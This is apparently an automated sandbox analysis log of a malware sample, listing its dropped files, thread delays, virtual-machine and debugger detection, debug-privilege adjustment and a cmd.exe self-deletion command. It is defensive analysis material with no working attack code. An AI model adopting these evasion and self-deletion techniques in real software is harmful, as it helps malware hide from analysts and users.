Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Memory allocated: 3150000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Memory allocated: 33E0000 memory reserve \| memory write watch	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Memory allocated: 32F0000 memory reserve \| memory write watch	Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Window / User API: threadDelayed 8096			Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Window / User API: threadDelayed 1741			Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\x32bridge[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\msvcr120[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\QT[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\x32bridge.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\msvcr120.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\QT.exe	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Program Files (x86)\Bandicam\msvcp120.dll	Jump to dropped file
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp120[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe TID: 4612

Thread sleep time: -922337203685477s >= -30000s

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_001ADEA1 FindFirstFileExW,

1_2_001ADEA1

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_00192EC0 GetSystemInfo,CreateDirectoryA,task,task,task,task,task,task,task,task,task,task,task,task,

1_2_00192EC0

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:_
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Remove-NetEventVmNetworkAdapter
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1956057813.0000000007338000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Add-NetEventVmNetworkAdapter
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.00000000008D0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1952883443.00000000034B1000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Get-NetEventVmNetworkAdapter
Source: LisectAVT_2403002B_295.exe, 00000001.00000002.1951521797.000000000086E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW f

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_001A1081 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

1_2_001A1081

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_001B1788 GetProcessHeap,

1_2_001B1788

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_001A1081 IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_001A1081
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0019A477 IsProcessorFeaturePresent,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	1_2_0019A477
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0019A5DA SetUnhandledExceptionFilter,	1_2_0019A5DA
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: 1_2_0019A8C2 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	1_2_0019A8C2

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Memory allocated: page read and write | page guard

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c del /q C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Jump to behavior

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe

Code function: 1_2_0019A6E5 cpuid

1_2_0019A6E5

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetLocaleInfoW,	1_2_001B1226
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	1_2_001B134F
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetLocaleInfoW,	1_2_001B1455
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	1_2_001B152B
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: EnumSystemLocalesW,	1_2_001A7959
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetACP,IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	1_2_001B0BB6
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: EnumSystemLocalesW,	1_2_001B0E62
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetLocaleInfoW,	1_2_001A7E85
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: EnumSystemLocalesW,	1_2_001B0EAD
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: EnumSystemLocalesW,	1_2_001B0F48
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	1_2_001B0FD3

Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.PowerShell.Commands.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.PowerShell.Commands.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.ServiceProcess\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.ServiceProcess.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Windows.Forms\v4.0_4.0.0.0__b77a5c561934e089\System.Windows.Forms.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.WSMan.Management\v4.0_3.0.0.0__31bf3856ad364e35\Microsoft.WSMan.Management.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\System.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Xml\v4.0_4.0.0.0__b77a5c561934e089\System.XML.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\Microsoft.KeyDistributionService.Cmdlets\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.KeyDistributionService.Cmdlets.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\LisectAVT_2403002B_295.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0014~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
